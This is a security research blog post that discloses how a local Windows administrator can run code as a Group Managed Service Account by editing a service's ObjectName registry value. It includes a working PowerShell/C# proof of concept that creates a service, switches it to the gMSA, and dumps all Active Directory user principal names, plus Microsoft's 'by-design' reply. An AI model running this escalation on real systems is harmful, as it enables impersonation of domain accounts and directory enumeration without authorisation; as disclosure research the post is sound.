Elevation of Privilege from Local Admin to gMSA
In my previous blog post I explained how Group Managed Service Accounts (gMSA) passwords are stored locally on the servers. In this blog, I’ll share how you can easily elevate yourself from the local administrator to gMSA without a need to know the account password.
I’m already using this technique in AADInternals to execute code as AD FS service account.
Introduction
I explained in my previous blog post what gMSAs are so here’s just a summary of different service principals (accounts):
Principals | Services supported | Password management |
---|---|---|
Computer Account of Windows system | Limited to one domain joined server | Computer manages |
Computer Account without Windows system | Any domain joined server | None |
Virtual Account | Limited to one server | Computer manages |
Windows 7 standalone Managed Service Account | Limited to one domain joined server | Computer manages |
User Account | Any domain joined server | None |
Group Managed Service Account | Any Windows Server 2012 domain-joined server | The domain controller manages, and the host retrieves |
As gMSA is a domain account, it gives access to domain services (depending on configuration).
Installing service account to a local computer
Before you can use a service account to run your services, it needs to be installed on the computer.
Install-ADServiceAccount documentation:
The Install-ADServiceAccount cmdlet installs an existing Active Directory managed service account on the computer on which the cmdlet is run. This cmdlet verifies that the computer is eligible to host the managed service account. The cmdlet also makes the required changes locally so that the managed service account password can be managed without requiring any user action.
Here’s a simple example of installing AD FS gMSA account to the local computer:
# Install a managed service account on the local computer:
Install-ADServiceAccount -Identity 'gmsaADFS'
Note! Running this command requires that the account has permissions to access the password, i.e. it is listed in the PrincipalsAllowedToRetrieveManagedPassword property of the gMSA object.
Elevation of Privilege
Prerequisities
Just to recap, elavating from the local admin to gMSA requires that gMSA is installed on the local computer.
Modifying registry
The trick is actually quite simple. Every service has a registry entry at:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<service name>
If the service is configured to be run as other account than Local System, it has a property ObjectName which contains the name of the account. As such, we just need to add the name of the gMSA account to ObjectName property of the target service:
And that’s it! Now, let’s see how to exploit this to run arbitrary PowerShell commands as gMSA!
A sample service
For the proof-of-concept, I decided to built a simple service (inspired by Jean-François Larvoire’s PSService.ps1) that runs arbitrary PowerShell script.
The PoC consists of two files:
File | Description |
---|---|
run_poc.ps1 | Script to install, run, and delete the service |
service.ps1 | The script to be run as the gMSA |
Here is the contents of run_poc.ps1:
# Replace with your gMSA account name. Remember to include the trailing dollar sign.
$gMSA = 'AADINTERNALS\gmsaADFS$'
$serviceName = "EoP_demo"
# Create the service executable
$source=@"
using System;
using System.ServiceProcess;
using System.Diagnostics;
public class $serviceName : ServiceBase
{
public $serviceName()
{
ServiceName = "$serviceName";
CanStop = true;
CanPauseAndContinue = false;
}
protected override void OnStart(string [] args)
{
try
{
Process p = new Process();
p.StartInfo.UseShellExecute = false;
p.StartInfo.FileName = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
p.StartInfo.Arguments = "-noprofile -noninteractive -executionpolicy bypass -file C:\\EoP_demo\\service.ps1";
p.Start();
p.WaitForExit();
}
catch (Exception) {}
}
public static void Main()
{
System.ServiceProcess.ServiceBase.Run(new $serviceName());
}
}
"@
# Create the service executable
Add-Type -TypeDefinition $source -Language CSharp -OutputAssembly "C:\EoP_demo\service.exe" -OutputType ConsoleApplication -ReferencedAssemblies "System.ServiceProcess" -Debug:$false
# Create a new service running as local system
Write-Host " Creating service $serviceName to be run as Local System"
$service = New-Service -Name $serviceName -BinaryPathName "C:\EoP_demo\service.exe"
# Modify the service to run as gMSA
Write-Host " Changing user to $gMSA"
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$serviceName" -Name "ObjectName" -Value $gMSA
# Start the service
Write-Host " Starting service $serviceName"
Start-Service -Name $serviceName
# Stop and delete the service
Write-Host " Stopping service $serviceName"
Stop-Service $ServiceName -ErrorAction SilentlyContinue | Out-Null
Write-Host " Deleting service $serviceName"
SC.exe DELETE $ServiceName | Out-Null
Here is the contents of service.ps1:
# Run whoami
whoami | Set-Content C:\EoP_demo\whoami.txt
# Dump AD users
Get-ADUser -Filter * | Where-Object UserPrincipalName -ne $null |Select-Object -ExpandProperty UserPrincipalName | Set-Content C:\EoP_demo\upns.txt
To run the PoC:
- Place all files to C:\EoP_demo
- Make C:\EoP_demo accessible to Everyone (full control)
- Run the script:
C:\EoP_demo\run_poc.ps1
Output:
Creating service EoP_demo to be run as Local System
Changing user to AADINTERNALS\gmsaADFS$
Starting service EoP_demo
Stopping service EoP_demo
Deleting service EoP_demo
The should now be three new files in C:\EoP_demo, the service.exe and two .txt files:
The whoami.txt should contain the name of the gMSA account:
And the upns.txt should contain the upns of all AD users:
Communication with Microsoft
Even though I suspected this to be “by-design”, I decided to inform MSRC about my findings.
Date | Description |
---|---|
Aug 23 2022 | Reported to Microsoft |
Sep 2 2022 | “By-design” response |
We have completed our investigation and assessed this as a low severity defense in depth issue. One of the reasons for that is that is that current Microsoft guidance around gMSA accounts is that a gSMA’s accesses should be limited to things that are necessary to perform the role of the service it’s designed for. Even without the gSMA credential there are opportunities for a local administrator to injecting into a gSMA’s service on the machine and achieving the same result.
Therefore, this report does not meet our bar for servicing in a security update. Please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).
MSRC’s comment that local admins could inject to any service process anyways is interesting. I’d imagine running something in a legit way is a bit different (and way less noisy) than injecting something to a running process.
Summary
Local administrators can run services as gMSA simply by modifying registry, as long as the gMSA is installed on the server. As confirmed by MSRC, this is by-design. Anyways, this is a simple way to elevate from local admin to a domain user in a persistent way.
References
- Microsoft: Install-ADServiceAccount description.
- JFLarvoire SysToolsLib: PSService.ps1